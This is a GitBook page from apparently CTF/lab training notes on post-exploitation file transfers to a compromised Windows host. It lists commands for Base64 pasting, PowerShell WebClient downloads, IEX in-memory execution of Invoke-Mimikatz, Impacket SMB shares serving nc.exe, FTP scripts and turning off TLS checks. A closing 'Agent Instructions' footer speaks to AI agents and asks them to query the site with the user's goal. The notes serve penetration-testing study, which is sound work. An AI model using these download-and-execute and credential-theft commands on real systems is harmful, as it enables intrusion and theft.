> For the complete documentation index, see [llms.txt](https://capcap-1.gitbook.io/capcap/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://capcap-1.gitbook.io/capcap/readme/ctf-modules/post-exploitation/file-transfers/windows-file-transfer-methods-download.md).

# Windows File Transfer Methods-Download

Use this page when you need to move files to a Windows target.

Pick the method that fits your shell, network path, and detection risk.

{% hint style="info" %}
**Attacker** means your box, Pwnbox, or redirector.

**Compromised host** means the Windows machine you already accessed.
{% endhint %}

### Base64 copy for small files

Use this when you cannot open a direct transfer channel.

#### Attacker — check the source file hash

Create a hash before the transfer.

```bash
md5sum id_rsa
```

Example:

```bash
4e301756a07ded0a2dd6953abf015278  id_rsa
```

#### Attacker — encode the file on Linux

Encode the file into one Base64 line.

```bash
base64 -w 0 id_rsa; echo
```

Copy the full output into the target shell.

#### Compromised host — decode the file on Windows

Use PowerShell to rebuild the file.

```powershell
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("<BASE64_STRING>"))
```

Replace `<BASE64_STRING>` with the full Base64 value.

#### Compromised host — confirm the transfer

Verify the new file hash on Windows.

```powershell
Get-FileHash C:\Users\Public\id_rsa -Algorithm MD5
```

Example:

```powershell
Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
MD5             4E301756A07DED0A2DD6953ABF015278                                       C:\Users\Public\id_rsa
```

The MD5 value should match the original hash.

{% hint style="warning" %}
Use this only for small files.

`cmd.exe` limits command strings to 8,191 characters.

Web shells may also break on large pasted values.
{% endhint %}

### PowerShell web downloads

`System.Net.WebClient` works over `HTTP`, `HTTPS`, and `FTP`.

Common methods:

| Method                                                                                               | Use                                        |
| ---------------------------------------------------------------------------------------------------- | ------------------------------------------ |
| [`OpenRead`](https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient.openread)             | Return the remote content as a stream.     |
| [`DownloadData`](https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient.downloaddata)     | Return the remote content as a byte array. |
| [`DownloadFile`](https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadfile)     | Save the remote content to disk.           |
| [`DownloadString`](https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadstring) | Return the remote content as a string.     |

#### DownloadFile

Use this when you want the file saved to disk.

**Compromised host — save the file to disk**

```powershell
# DownloadFile
(New-Object Net.WebClient).DownloadFile(
  'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1',
  'C:\Users\Public\Downloads\PowerView.ps1'
)

# DownloadFileAsync
(New-Object Net.WebClient).DownloadFileAsync(
  'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1',
  'C:\Users\Public\Downloads\PowerViewAsync.ps1'
)
```

If you want to download from your machine to the compromised host:

**Attacker — serve the file**

```bash
python3 -m http.server 8000
```

**Compromised host — download the file**

```powershell
(New-Object Net.WebClient).DownloadFile('http://10.10.15.156:8000/upload_win.zip', 'C:\Users\htb-student\Desktop\upload_win.zip')
```

Arguments:

* First — the remote URL.
* Second — the local output path.

The file lands on disk. AV can scan it. Defenders can recover it.

#### DownloadString with `IEX`

Use this when you want to execute a script from memory.

**Compromised host — execute a remote script in memory**

```powershell
IEX (New-Object Net.WebClient).DownloadString(
  'https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1'
)
```

You can also pipe the output to `IEX`.

```powershell
(New-Object Net.WebClient).DownloadString(
  'https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1'
) | IEX
```

How it works:

* `DownloadString()` pulls the remote content into memory.
* `IEX` executes that content as PowerShell.

Nothing is written to disk before execution.

{% hint style="warning" %}
`IEX` is noisy and high risk.

Use it only when the tradeoff makes sense.
{% endhint %}

#### Invoke-WebRequest

Use this on PowerShell `3.0+`.

**Compromised host — save a remote file to disk**

```powershell
Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1
```

Short aliases:

```powershell
iwr https://<url>/file.ps1 -OutFile file.ps1
wget https://<url>/file.ps1 -OutFile file.ps1
curl https://<url>/file.ps1 -OutFile file.ps1
```

`Invoke-WebRequest` is often slower than `WebClient`, but it is widely available.

#### Common PowerShell web errors

**Internet Explorer engine not configured**

Error:

```
Invoke-WebRequest : The response content cannot be parsed because the Internet
Explorer engine is not available...
```

Older PowerShell versions may depend on the IE engine for parsing.

Fix:

```powershell
Invoke-WebRequest https://<ip>/file.ps1 -UseBasicParsing | IEX
```

This skips the IE dependency.

**SSL or TLS certificate not trusted**

Error:

```
The underlying connection was closed: Could not establish trust relationship
for the SSL/TLS secure channel.
```

This usually happens when the remote server uses a self-signed certificate.

Fix:

```powershell
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
```

This disables certificate validation for the current session.

### SMB downloads

SMB is Windows' native file sharing protocol.

It uses port `445` and fits well inside Windows-heavy networks.

#### Attacker — start a share on the attacker host

Use Impacket to expose a local directory as an SMB share.

```bash
sudo impacket-smbserver share -smb2support /tmp/smbshare
```

Breakdown:

* `share` — share name exposed to Windows.
* `-smb2support` — enable SMB2 for modern Windows hosts.
* `/tmp/smbshare` — local directory to share.

#### Compromised host — copy from Windows without authentication

```cmd
copy \\192.168.220.133\share\nc.exe
```

Windows treats this like a normal file share path.

#### Copy from Windows with authentication

Modern Windows builds often block guest access.

Start the share with credentials:

**Attacker — start a share with credentials**

```bash
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
```

Map the share on the Windows target:

**Compromised host — map the share**

```cmd
net use n: \\192.168.220.133\share /user:test test
```

Then copy the file:

**Compromised host — copy the file**

```cmd
copy n:\nc.exe
```

{% hint style="info" %}
`net use` maps a remote share to a drive letter.

After that, you can treat it like a local drive.
{% endhint %}

Why SMB works well:

* No extra client is needed on Windows.
* Native commands like `copy`, `move`, and `xcopy` work.
* Port `445` is often reachable inside enterprise networks.

### FTP downloads

FTP uses port `21` for control traffic.

Windows includes an FTP client, so you can use it from basic shells.

#### Attacker — start an FTP server on Linux

```bash
sudo pip3 install pyftpdlib
sudo python3 -m pyftpdlib --port 21
```

Notes:

* `pyftpdlib` starts a quick Python FTP server.
* The default port is `2121`, so `--port 21` forces the standard port.
* Anonymous login is enabled by default.

#### Compromised host — download with PowerShell

```powershell
(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')
```

`WebClient` handles FTP URLs directly.

#### Compromised host — use an FTP command script in a non-interactive shell

Use this when the shell cannot stay interactive.

Write the FTP commands to a file, then feed that file to `ftp.exe`.

```cmd
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
```

What the script does:

* `open 192.168.49.128` — connect to the FTP server.
* `USER anonymous` — log in as the anonymous user.
* `binary` — preserve raw bytes during transfer.
* `GET file.txt` — download the file.
* `bye` — disconnect.

What the flags do:

* `-v` — show verbose output.
* `-n` — disable auto-login.
* `-s:ftpcommand.txt` — read commands from the file.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://capcap-1.gitbook.io/capcap/readme/ctf-modules/post-exploitation/file-transfers/windows-file-transfer-methods-download.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
